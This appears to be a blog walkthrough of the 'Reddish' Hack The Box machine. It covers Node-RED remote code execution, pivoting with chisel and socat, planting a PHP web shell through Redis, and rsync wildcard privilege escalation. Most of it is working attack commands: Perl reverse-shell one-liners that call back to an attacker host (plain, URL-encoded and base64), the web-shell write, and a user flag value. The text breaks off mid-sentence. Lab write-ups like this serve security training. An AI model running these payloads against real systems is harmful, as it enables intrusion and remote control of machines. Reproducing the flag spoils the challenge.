![\"\"](\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/image-11.png?resize=697%2C600&ssl=1\")
<\/figure>\n\n\n\n\n\n\n\nLike always let\u2019s start with a NMAP scan:<\/p>\n\n\n\n
sudo nmap -n -Pn -sS -p- --min-rate=5000 -vvv 10.10.10.94<\/code><\/pre>\n\n\n\nWe have found one port open:<\/p>\n\n\n\n
PORT STATE SERVICE REASON\n1880\/tcp open vsat-control syn-ack ttl 62\n\nRead data files from: \/usr\/bin\/..\/share\/nmap\nNmap done: 1 IP address (1 host up) scanned in 13.85 seconds\n Raw packets sent: 69697 (3.067MB) | Rcvd: 68911 (2.756MB)<\/code><\/pre>\n\n\n\nLet\u2019s run some NMAP script to check the service:<\/p>\n\n\n\n
sudo nmap -n -Pn -sS -sVC -p 1880 --min-rate=5000 -vvv 10.10.10.94<\/code><\/pre>\n\n\n\nWe can see that the service run a Node.js Express Framework and it accept some HTTP-Methods (POST GET HEAD OPTIONS):<\/p>\n\n\n\n
PORT STATE SERVICE REASON VERSION\n1880\/tcp open http syn-ack ttl 62 Node.js Express framework\n| http-methods: \n|_ Supported Methods: POST GET HEAD OPTIONS\n|_http-favicon: Unknown favicon MD5: 818DD6AFD0D0F9433B21774F89665EEA\n|_http-title: Error<\/code><\/pre>\n\n\n\nLet\u2019s check if we can reach this server through our navigator:<\/p>\n\n\n\n![\"\"](\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/reddish.png?resize=711%2C246&ssl=1\")
<\/figure>\n\n\n\nLet\u2019s intercept this request and try to perform a POST request:<\/p>\n\n\n\n![\"Untitled\"\/](\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/reddish-201.png?w=800&ssl=1\")
<\/figure>\n\n\n\nThen we will receive a interesting reply that contain some information that looks we can format to access to another site:<\/p>\n\n\n\n![\"Untitled\"\/](\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/reddish-202.png?w=800&ssl=1\")
<\/figure>\n\n\n\nLet\u2019s try to format our request to access to it:<\/p>\n\n\n\n
http://10.10.10.94:1880\/red\/4db178d6acb2d603fb188eda5fb10ac1<\/code><\/pre>\n\n\n\n![\"Untitled\"\/](\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/reddish-203.png?w=800&ssl=1\")
<\/figure>\n\n\n\nWe have found \u201cNode-RED\u201d that is a tool to develop code with visuals methods. After some researching I have found this article POST<\/a> and more that explain how to exploit it and get reverse shell. First of all we will need to perform this workflow:<\/p>\n\n\n\n\n- Input – TCP:<\/li>\n<\/ul>\n\n\n\n
![\"Untitled\"\/](\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/reddish-204.png?w=800&ssl=1\")
<\/figure>\n\n\n\n\n- Advanced – exec:<\/li>\n<\/ul>\n\n\n\n
![\"Untitled\"\/](\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/reddish-205.png?w=800&ssl=1\")
<\/figure>\n\n\n\n\n- Output – TCP:<\/li>\n<\/ul>\n\n\n\n
![\"Untitled\"\/](\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/reddish-206.png?w=800&ssl=1\")
<\/figure>\n\n\n\nIn this point now we will start our listener server with netcat:<\/p>\n\n\n\n
sudo nc -nlvp 4444<\/code><\/pre>\n\n\n\nLet\u2019s execute our workflow:<\/p>\n\n\n\n![\"Untitled\"\/](\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/reddish-207.png?w=800&ssl=1\")
<\/figure>\n\n\n\nThen we will receive our reverse shell but without all the functionalities:<\/p>\n\n\n\n![\"Untitled\"\/](\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/reddish-208.png?w=800&ssl=1\")
<\/figure>\n\n\n\nNow we can start to perform enumeration into this machine. After check some tools we can see that the machine doesn\u2019t has the tipical tools but it has perl. Let\u2019s check the interfaces:<\/p>\n\n\n\n
ip a<\/code><\/pre>\n\n\n\n1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1\n link\/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00\n inet 127.0.0.1\/8 scope host lo\n valid_lft forever preferred_lft forever\n11: eth0@if12: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default \n link\/ether 02:42:ac:12:00:02 brd ff:ff:ff:ff:ff:ff\n inet 172.18.0.2\/16 brd 172.18.255.255 scope global eth0\n valid_lft forever preferred_lft forever\n17: eth1@if18: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default \n link\/ether 02:42:ac:13:00:04 brd ff:ff:ff:ff:ff:ff\n inet 172.19.0.4\/16 brd 172.19.255.255 scope global eth1\n valid_lft forever preferred_lft forever<\/code><\/pre>\n\n\n\nFirst, we can try to improve our shell with a reverse shell in perl:<\/p>\n\n\n\n
perl -e 'use Socket;$i=\"10.10.16.15\";$p=5000;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"\/bin\/sh -i\");};'<\/code><\/pre>\n\n\n\nFirst we will need to start our second listener server:<\/p>\n\n\n\n
sudo nc -nlvp 5000<\/code><\/pre>\n\n\n\nThen we will receive our shell:<\/p>\n\n\n\n![\"Untitled\"\/](\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/reddish-209.png?w=800&ssl=1\")
<\/figure>\n\n\n\nNow we will improve our shell:<\/p>\n\n\n\n
script \/dev\/null -c bash\n\"control+z\"\nstty raw -echo; fg\nreset xterm\nexport TERM=xterm\nexport SHELL=bash<\/code><\/pre>\n\n\n\nOnce we have our shell we will start enumerate the server:<\/p>\n\n\n\n
hostname -I<\/code><\/pre>\n\n\n\nWe will see that the server has two different IPs:<\/p>\n\n\n\n![\"Untitled\"\/](\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/reddish-2010.png?w=800&ssl=1\")
<\/figure>\n\n\n\nLet\u2019s check the ARP table:<\/p>\n\n\n\n
cat \/proc\/net\/arp<\/code><\/pre>\n\n\n\nWe will see probably two IPs that are the host:<\/p>\n\n\n\n![\"Untitled\"\/](\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/reddish-2011.png?w=800&ssl=1\")
<\/figure>\n\n\n\nAt this point we have discovered other network. Let\u2019s check the active hosts in the network with this script<\/a>. To do the transfer of this script we will use base64:<\/p>\n\n\n\n#KALI -> base64 -w0 enum.sh\n\n#MACHINE -> echo \"IyEgL3Vzci9iaW4vZW52IGJhc2gKIwojIEF1dGhvcjogQmVydCBWYW4gVnJlY2tlbSA8YmVydC52YW52cmVja2VtQGdtYWlsLmNvbT4KIwojIFBlcmZvcm0gYSBwaW5nIHN3ZWVwIG9uIHRoZSBzcGVjaWZpZWQgY2xhc3MgQyBuZXR3b3JrCgpzZXQgLW8gZXJyZXhpdCAjIGFib3J0IG9uIG5vbnplcm8gZXhpdHN0YXR1cwpzZXQgLW8gbm91bnNldCAjIGFib3J0IG9uIHVuYm91bmQgdmFyaWFibGUKCiN7e3sgRnVuY3Rpb25zCgp1c2FnZSgpIHsKY2F0IDw8IF9FT0ZfClVzYWdlOiAkezB9IE5FVFdPUksKCiAgTkVUV09SSyAgdGhlIG5ldHdvcmsgcGFydCBvZiBhIGNsYXNzIEMgSVAgYWRkcmVzcywgZS5nLiAxOTIuMTY4LjEKCl9FT0ZfCn0KCiMgVXNhZ2U6IGhvc3RfaXNfdXAgSVAKIyB3aXRoIElQIGEgKGZ1bGwpIElQIGFkZHJlc3MuIFJldHVybnMgZXhpdCBzdGF0dXMgMCBpZiB0aGUgc3BlY2lmaWVkIGhvc3QKIyByZXBsaWVzIHRvIHRoZSB0d2VldCwgYSBub256ZXJvIGV4aXQgc3RhdHVzIG90aGVyd2lzZS4KaG9zdF9pc191cCgpIHsKICAjIFNlbmQgb25lIHBpbmcgKC1jKSBhbmQgd2FpdCBhdCBtb3N0IDEgc2Vjb25kICgtdykKICBwaW5nIC1jIDEgLXcgMSAiJHtpcH0iID4gL2Rldi9udWxsIDI+JjEKfQoKI319fQoje3t7IENvbW1hbmQgbGluZSBwYXJzaW5nCgppZiBbICIkIyIgLW5lICIxIiBdOyB0aGVuCiAgICBlY2hvICJFeHBlY3RlZCAxIGFyZ3VtZW50LCBnb3QgJCMiID4mMgogICAgdXNhZ2UKICAgIGV4aXQgMgpmaQoKI319fQoje3t7IFZhcmlhYmxlcwoKbmV0d29yaz0iJHsxfSIKCiN9fX0KCiMgU2NyaXB0IHByb3BlcgoKZm9yIGhvc3QgaW4gJChzZXEgMSAyNTQpOyBkbwoKICBpcD0iJHtuZXR3b3JrfS4ke2hvc3R9IgoKICBpZiBob3N0X2lzX3VwICIke2lwfSI7IHRoZW4KICAgIGVjaG8gIiR7aXB9IgogIGZpCgpkb25lCg==\" > enum.b64\n\n#MACHINE -> base64 -d enum.b64 > enum.sh\n\n#KALI -> md5sum enum.sh\n\n#MACHINE -> md5sum enum.sh<\/code><\/pre>\n\n\n\nOnce we already have our script we can run it but we will run it with the new network that we have discovered:<\/p>\n\n\n\n
root@nodered:\/tmp# .\/enum.sh 172.19.0<\/code><\/pre>\n\n\n\nOnce we have run the script we will see that we have discovered 3 more assets:<\/p>\n\n\n\n![\"Untitled\"\/](\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/reddish-2012.png?w=800&ssl=1\")
<\/figure>\n\n\n\nLet\u2019s check the other network:<\/p>\n\n\n\n
root@nodered:\/tmp# .\/enum.sh 172.18.0<\/code><\/pre>\n\n\n\nAnd we will see the address that we already know:<\/p>\n\n\n\n![\"Untitled\"\/](\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/reddish-2013.png?w=800&ssl=1\")
<\/figure>\n\n\n\nNow we will check the open ports of these new IPs with this script<\/a>. We will use the same technique did it before to transfer it to the machine:<\/p>\n\n\n\nroot@nodered:\/tmp# .\/portScan.sh -i 172.19.0.2 -p 10000<\/code><\/pre>\n\n\n\nAfter execute the script we will discover some open ports (80 and 6379):<\/p>\n\n\n\n
# .\/portScan.sh -i 172.19.0.2 -p 10000\n172.19.0.2:6379 is open\n# .\/portScan.sh -i 172.19.0.3 -p 10000\n172.19.0.3:80 is open<\/code><\/pre>\n\n\n\nAt this point we have some open ports in other network that means we should perform pivoting to reach the others servers. To do that we will use \u201cchisel<\/a>\u201d. To compile chisel we will need the version 17.7 of go<\/a> and we can use this guide<\/a> to install it:<\/p>\n\n\n\n\u250c\u2500\u2500(david\u327fhsbox)-[~\/hackTheBox\/reddish]\n\u2514\u2500$ git clone https:\/\/github.com\/jpillora\/chisel.git\n\n\u250c\u2500\u2500(david\u327fhsbox)-[~\/hackTheBox\/reddish]\n\u2514\u2500$ cd chisel\n\n\u250c\u2500\u2500(david\u327fhsbox)-[~\/hackTheBox\/reddish]\n\u2514\u2500$ go build .\n\n\u250c\u2500\u2500(david\u327fhsbox)-[~\/hackTheBox\/reddish\/chisel]\n\u2514\u2500$ go build -ldflags \"-s -w\" .\n\n\u250c\u2500\u2500(david\u327fhsbox)-[~\/hackTheBox\/reddish\/chisel]\n\u2514\u2500$ upx chisel\n Ultimate Packer for eXecutables\n Copyright (C) 1996 - 2020\nUPX 3.96 Markus Oberhumer, Laszlo Molnar & John Reiser Jan 23rd 2020\n\n File size Ratio Format Name\n -------------------- ------ ----------- -----------\n 8134656 -> 3137844 38.57% linux\/amd64 chisel \n\nPacked 1 file.<\/code><\/pre>\n\n\n\nTo download the file we will use a bash function. We can find it here<\/a>. Just copy it into our shell:<\/p>\n\n\n\nfunction __curl() {\n read proto server path <<<$(echo ${1\/\/\/\/ })\n DOC=\/${path\/\/ \/\/}\n HOST=${server\/\/:*}\n PORT=${server\/\/*:}\n [[ x\"${HOST}\" == x\"${PORT}\" ]] && PORT=80\n\n exec 3<>\/dev\/tcp\/${HOST}\/$PORT\n echo -en \"GET ${DOC} HTTP\/1.0rnHost: ${HOST}rnrn\" >&3\n (while read line; do\n [[ \"$line\" ==<\/code><\/pre>\n\n\n\n![\"Untitled\"\/](\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/reddish-2014.png?w=800&ssl=1\")
<\/figure>\n\n\n\nNow we can turn on our provisional web server:<\/p>\n\n\n\n
python -m http.server 8888<\/code><\/pre>\n\n\n\nOnce we have our web server we can execute the function:<\/p>\n\n\n\n
root@nodered:\/tmp# __curl http:\/\/10.10.16.15:8888\/chisel > chisel<\/code><\/pre>\n\n\n\nJust to be sure we can check with md5sum if we have downloaded correctly the binary:<\/p>\n\n\n\n
\u250c\u2500\u2500(david\u327fhsbox)-[~\/hackTheBox\/reddish\/chisel]\n\u2514\u2500$ md5sum chisel \ncac0ab6d8fcea44b130a7c2733e1c1c9 chisel\n\nroot@nodered:\/tmp# md5sum chisel\nmd5sum chisel\ncac0ab6d8fcea44b130a7c2733e1c1c9 chisel<\/code><\/pre>\n\n\n\nNow we have our chisel binary into the machine. We need to reach the server 172.19.0.3:80 from our Kali Linux. To start we need a chisel server into our Kali Linux to receive the connection from the server that we have access:<\/p>\n\n\n\n
\u250c\u2500\u2500(david\u327fhsbox)-[~\/hackTheBox\/reddish\/chisel]\n\u2514\u2500$ .\/chisel server --reverse -p 5001 \n2023\/10\/18 13:53:05 server: Reverse tunnelling enabled\n2023\/10\/18 13:53:05 server: Fingerprint 9iN\/TBkDUZ31yUlBP1CRPbXvY4FJSP2EN\/NOvSTUIZM=\n2023\/10\/18 13:53:05 server: Listening on http:\/\/0.0.0.0:5001<\/code><\/pre>\n\n\n\n![\"Untitled\"\/](\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/reddish-2015.png?w=800&ssl=1\")
<\/figure>\n\n\n\nAfter execute our chisel server we need to execute the client into the machine we have access to get communication with the other server through the server that we already have access from our Kali Linux:<\/p>\n\n\n\n
root@nodered:\/tmp# .\/chisel client 10.10.16.15:5001 R:80:172.19.0.3:80 &\n.\/chisel client 10.10.16.15:5001 R:80:172.19.0.3:80 &\n[1] 18237\n023\/10\/18 11:55:56 client: Connecting to ws:\/\/10.10.16.15:5001\n2023\/10\/18 11:55:57 client: Connected (Latency 27.687025ms)<\/code><\/pre>\n\n\n\n![\"Untitled\"\/](\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/reddish-2016.png?w=800&ssl=1\")
<\/figure>\n\n\n\nNow we should have access to the server 172.19.0.3 to the web server through our machine passing through the machine that we had access:<\/p>\n\n\n\n![\"Untitled\"\/](\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/reddish-2017.png?w=800&ssl=1\")
<\/figure>\n\n\n\nIf we check the code we will see that exist some interesting comments and a javascript function that count how much time we tried to access to the web page:<\/p>\n\n\n\n![\"Untitled\"\/](\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/reddish-2018.png?w=800&ssl=1\")
<\/figure>\n\n\n\nAlso if we inspect the code we can see that the number of hits increment each time:<\/p>\n\n\n\n![\"Untitled\"\/](\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/reddish-2019.png?w=800&ssl=1\")
<\/figure>\n\n\n\nIf we check the function \u201cbackupDatabase\u201d we will see a new directory \u201c8924d0549008565c554f8128cd11fda4\/ajax.php?backup=...<\/code>\u201d but we don\u2019t have access:<\/p>\n\n\n\n![\"Untitled\"\/](\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/reddish-2020.png?w=800&ssl=1\")
<\/figure>\n\n\n\nWe don\u2019t have more information about the server so let\u2019s look the other server to check the port \u201c6379\u201d. To do that we will need to create other tunnel to reach the server from our Kali Linux through the server that we have access:<\/p>\n\n\n\n
.\/chisel client 10.10.16.15:5001 R:6379:172.19.0.2:6379 &<\/code><\/pre>\n\n\n\n![\"Untitled\"\/](\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/reddish-2021.png?w=800&ssl=1\")
<\/figure>\n\n\n\nNow we have access to the IPs 172.19.0.3:80 and 172.19.0.2:6379 from our machine:<\/p>\n\n\n\n![\"Untitled\"\/](\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/reddish-2022.png?w=800&ssl=1\")
<\/figure>\n\n\n\nAfter communicate our machine we can perform a NMAP scan over the port:<\/p>\n\n\n\n
sudo nmap -n -Pn -sV -p 6379 127.0.0.1<\/code><\/pre>\n\n\n\nWe will discover a new service called \u201cRedis 4.0.9\u201d:<\/p>\n\n\n\n
\u250c\u2500\u2500(david\u327fhsbox)-[~\/hackTheBox\/reddish]\n\u2514\u2500$ sudo nmap -n -Pn -sV -p 6379 127.0.0.1\n[sudo] password for david: \nStarting Nmap 7.93 ( https:\/\/nmap.org ) at 2023-10-18 14:27 CEST\nNmap scan report for 127.0.0.1\nHost is up (0.000052s latency).\n\nPORT STATE SERVICE VERSION\n6379\/tcp open redis Redis key-value store 4.0.9\n\nService detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\nNmap done: 1 IP address (1 host up) scanned in 6.93 seconds<\/code><\/pre>\n\n\n\n![\"Untitled\"\/](\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/reddish-2023.png?w=800&ssl=1\")
<\/figure>\n\n\n\nAfter check some links I have found this guide to know how to exploit this service in HackTricks<\/a>. Let\u2019s do some enumeration over the service:<\/p>\n\n\n\n\n- Enumerate databases:<\/li>\n<\/ul>\n\n\n\n
COMMAND: INFO keyspace\n$44\n# Keyspace\ndb0:keys=1,expires=0,avg_ttl=0<\/code><\/pre>\n\n\n\n\n- Choose the database:<\/li>\n<\/ul>\n\n\n\n
COMMAND: SELECT 0\n+OK<\/code><\/pre>\n\n\n\n\n- Check the keys of the database:<\/li>\n<\/ul>\n\n\n\n
COMMAND: KEYS *\n*1\n$4\nhits<\/code><\/pre>\n\n\n\n\n- Check the value of the key:<\/li>\n<\/ul>\n\n\n\n
COMMAND: GET hits\n$1\n2<\/code><\/pre>\n\n\n\nThe value of the key hits is \u201c2\u201d we can say that the database is the web server database running in the server \u201c172.19.0.3\u201d. I would say that they are connected. If we check Hack Tricks we can see that we have an option to upload a web shell through the service:<\/p>\n\n\n\n![\"Untitled\"\/](\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/reddish-2024.png?w=800&ssl=1\")
<\/figure>\n\n\n\nBut we will need a static directory and if you remember we had discovered one:<\/p>\n\n\n\n![\"Untitled\"\/](\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/reddish-2025.png?w=800&ssl=1\")
<\/figure>\n\n\n\nI would say that the default route is \u201c\/var\/www\/html\u201d so let\u2019s replicate the steps from Hack Tricks to see if we can obtain a PHP web shell:<\/p>\n\n\n\n
\u250c\u2500\u2500(david\u327fhsbox)-[~]\n\u2514\u2500$ sudo apt -y install redis-tools\n\n\u250c\u2500\u2500(david\u327fhsbox)-[~\/hackTheBox\/reddish]\n\u2514\u2500$ sudo redis-cli -h 127.0.0.1 flushall\n\n\u250c\u2500\u2500(david\u327fhsbox)-[~\/hackTheBox\/reddish]\n\u2514\u2500$ sudo redis-cli -h 127.0.0.1\n127.0.0.1:6379> config set dir \/var\/www\/html\/8924d0549008565c554f8128cd11fda4\nOK\n127.0.0.1:6379> config set dbfilename wshell.php\nOK\n127.0.0.1:6379> set test \"<?php system($_REQUEST['cmd']); ?>\"\nOK\n127.0.0.1:6379> save\nOK\n(0.56s)\n127.0.0.1:6379><\/code><\/pre>\n\n\n\nNow we can check if we have access to our web shell:<\/p>\n\n\n\n
http://localhost\/8924d0549008565c554f8128cd11fda4\/wshell.php?cmd=id<\/code><\/pre>\n\n\n\n![\"Untitled\"\/](\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/reddish-2026.png?w=800&ssl=1\")
<\/figure>\n\n\n\nI have noticed that the system has some kind of script that delete the files so we can make a little script to upload again our php shell:<\/p>\n\n\n\n
\u250c\u2500\u2500(david\u327fhsbox)-[~\/hackTheBox\/reddish]\n\u2514\u2500$ cat uploadShell.sh \n#!\/bin\/bash\n\nredis-cli -h 127.0.0.1 config set dir \/var\/www\/html\/8924d0549008565c554f8128cd11fda4\nredis-cli -h 127.0.0.1 config set dbfilename wshell.php\nredis-cli -h 127.0.0.1 set test \"<?php system($_REQUEST['cmd']); ?>\"\nredis-cli -h 127.0.0.1 save<\/code><\/pre>\n\n\n\nLet\u2019s keep doing enumeration:<\/p>\n\n\n\n
http://localhost\/8924d0549008565c554f8128cd11fda4\/wshell.php?cmd=hostname%20-I<\/code><\/pre>\n\n\n\nWe will discover a new network segment:<\/p>\n\n\n\n![\"Untitled\"\/](\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/reddish-2027.png?w=800&ssl=1\")
<\/figure>\n\n\n\nIn this point we need to improve our shell into the machine \u201c172.19.0.2\u201d that\u2019s means we will need to get a reverse shell but now we are working through the server \u201cnodered:172.19.0.4\u201d so we will need use the tool \u201cSocat<\/a>\u201d that allow us to redirect the reverse shell from the \u201cnodered\u201d host that receive the reverse shell from the machine \u201c172.19.0.3\u201d to our Kali Linux. To do that first of all we will need to transfer the socat binary to the machine \u201cnodered\u201d and we will use the web server we already have. We can download it with the next perl command:<\/p>\n\n\n\nperl -e 'use File::Fetch;$url = \"http:\/\/10.10.16.15:8888\/socat\";$ff = File::Fetch->new(uri => $url);$file = $ff->fetch() or die $ff->error;'<\/code><\/pre>\n\n\n\nGive to it execution permission:<\/p>\n\n\n\n
root@nodered:\/tmp# chmod +x socat<\/code><\/pre>\n\n\n\nNow we will prepare our listener server to receive the reverse shell from \u201c172.19.0.3\u201d through \u201cnodered\u201d to our Kali Linux<\/p>\n\n\n\n
\u250c\u2500\u2500(david\u327fhsbox)-[~\/hackTheBox\/reddish]\n\u2514\u2500$ sudo nc -nlvp 5002 \n[sudo] password for david: \nlistening on [any] 5002 ...<\/code><\/pre>\n\n\n\nOnce we have our listener in the \u201cnodered\u201d machine we will forward the reverse shell with next socat command:<\/p>\n\n\n\n
root@nodered:\/tmp# .\/socat TCP-LISTEN:6000,fork TCP:10.10.16.15:5002 &<\/code><\/pre>\n\n\n\n![\"Untitled\"\/](\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/reddish-2028.png?w=800&ssl=1\")
<\/figure>\n\n\n\nUpload again the web shell with our script:<\/p>\n\n\n\n
\u250c\u2500\u2500(david\u327fhsbox)-[~\/hackTheBox\/reddish]\n\u2514\u2500$ .\/uploadShell.sh \nOK\nOK\nOK\nOK<\/code><\/pre>\n\n\n\nAnd now we will execute this payload into our web shell to get our reverse shell:<\/p>\n\n\n\n
\n- Original<\/li>\n<\/ul>\n\n\n\n
perl -e 'use Socket;$i=\"172.19.0.4\";$p=6000;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"\/bin\/sh -i\");};'<\/code><\/pre>\n\n\n\n\n- URL encoded:<\/li>\n<\/ul>\n\n\n\n
perl%20-e%20%27use%20Socket%3B%24i%3D%22172.19.0.4%22%3B%24p%3D6000%3Bsocket%28S%2CPF_INET%2CSOCK_STREAM%2Cgetprotobyname%28%22tcp%22%29%29%3Bif%28connect%28S%2Csockaddr_in%28%24p%2Cinet_aton%28%24i%29%29%29%29%7Bopen%28STDIN%2C%22%3E%26S%22%29%3Bopen%28STDOUT%2C%22%3E%26S%22%29%3Bopen%28STDERR%2C%22%3E%26S%22%29%3Bexec%28%22%2Fbin%2Fsh%20-i%22%29%3B%7D%3B%27<\/code><\/pre>\n\n\n\nIn the end we should have something like this:<\/p>\n\n\n\n
http://localhost\/8924d0549008565c554f8128cd11fda4\/wshell.php?cmd=perl%20-e%20%27use%20Socket%3B%24i%3D%22172.19.0.4%22%3B%24p%3D6000%3Bsocket%28S%2CPF_INET%2CSOCK_STREAM%2Cgetprotobyname%28%22tcp%22%29%29%3Bif%28connect%28S%2Csockaddr_in%28%24p%2Cinet_aton%28%24i%29%29%29%29%7Bopen%28STDIN%2C%22%3E%26S%22%29%3Bopen%28STDOUT%2C%22%3E%26S%22%29%3Bopen%28STDERR%2C%22%3E%26S%22%29%3Bexec%28%22%2Fbin%2Fsh%20-i%22%29%3B%7D%3B%27<\/code><\/pre>\n\n\n\nThen we will receive our reverse shell from the server \u201c172.19.0.3\u201d:<\/p>\n\n\n\n![\"Untitled\"\/](\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/reddish-2029.png?w=800&ssl=1\")
<\/figure>\n\n\n\nBefore start to enumerate the server let\u2019s improve our shell. Once we have our shell we can check the home directory and we will see that we can\u2019t access any home directory:<\/p>\n\n\n\n![\"Untitled\"\/](\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/reddish-2030.png?w=800&ssl=1\")
<\/figure>\n\n\n\nIf we keep doing enumeration we will see the \u201cbackup\u201d directory and it is very interesting:<\/p>\n\n\n\n![\"Untitled\"\/](\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/reddish-2031.png?w=800&ssl=1\")
<\/figure>\n\n\n\nWe have found a backup script:<\/p>\n\n\n\n![\"Untitled\"\/](\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/reddish-2032.png?w=800&ssl=1\")
<\/figure>\n\n\n\nThis script does a backup of the files \u201c.rdb\u201d into the directory \u201c\/var\/www\/html\/f187a0ec71ce99642e4f0afbd441a68b\u201d and it is synchronizing with the host \u201cbackup:837\u201d that means probable we have discovered another server but let\u2019s check if we can perform privilege escalation through the rsync binary: GFTBins<\/a>. We have found how to perform a privilege escalation with rsync. First of all we will execute another socat tunnel to receive the root reverse shell in our kali linux:<\/p>\n\n\n\nroot@nodered:\/tmp# .\/socat TCP-LISTEN:6001,fork TCP:10.10.16.15:5003 &<\/code><\/pre>\n\n\n\n![\"Untitled\"\/](\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/reddish-2033.png?w=800&ssl=1\")
<\/figure>\n\n\n\nNow we will create the file \u201cperlRev.rdb\u201d with the reverse shell code:<\/p>\n\n\n\n
\u250c\u2500\u2500(david\u327fhsbox)-[~\/hackTheBox\/reddish]\n\u2514\u2500$ cat perlRev.rdb \nperl -e 'use Socket;$i=\"172.19.0.4\";$p=6001;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"\/bin\/sh -i\");};'<\/code><\/pre>\n\n\n\nWe can transfer the file with base64:<\/p>\n\n\n\n
#KALI -> base64 -w0 perlRev.rdb\n\n#MACHINE -> echo \"cGVybCAtZSAndXNlIFNvY2tldDskaT0iMTcyLjE5LjAuNCI7JHA9NjAwMTtzb2NrZXQoUyxQRl9JTkVULFNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCJ0Y3AiKSk7aWYoY29ubmVjdChTLHNvY2thZGRyX2luKCRwLGluZXRfYXRvbigkaSkpKSl7b3BlbihTVERJTiwiPiZTIik7b3BlbihTVERPVVQsIj4mUyIpO29wZW4oU1RERVJSLCI+JlMiKTtleGVjKCIvYmluL3NoIC1pIik7fTsnCg==\" > perlRev.b64\n\n#MACHINE -> base64 -d perlRev.b64 > perlRev.rdb<\/code><\/pre>\n\n\n\nNow with all the resources prepared we can perform our privilege escalation. Move the file \u201cperlRev.rdb\u201d and create the file to execute it:<\/p>\n\n\n\n
cp perlRev.rdb \/var\/www\/html\/f187a0ec71ce99642e4f0afbd441a68b\/\n\ntouch \/var\/www\/html\/f187a0ec71ce99642e4f0afbd441a68b\/-e sh perlRev.rdb<\/code><\/pre>\n\n\n\nNow when the script with rsync run we will receive our reverse shell with root rights because the script use wildcard to process the files and then the script with root privileges will execute \u201csh perlRev.rdb\u201d with our reverse shell inside:<\/p>\n\n\n\n![\"Untitled\"\/](\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/reddish-2034.png?w=800&ssl=1\")
<\/figure>\n\n\n\nAlso we will have access to the user flag:<\/p>\n\n\n\n
# cd \/home\n# ls\nbergamotto\nlost+found\nsomaro\n# cd somaro\n# cat user.txt\n63c2273dfe30adfb8f0b5418d4c30b3f<\/code><\/pre>\n\n\n\n![\"Untitled\"\/](\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/reddish-2035.png?w=800&ssl=1\")
<\/figure>\n\n\n\nWell we need to keep enumerating the network to check how we can reach the root flag here. Let\u2019s start to see if we have more server in the same network but first we need to transfer our scripts:<\/p>\n\n\n\n
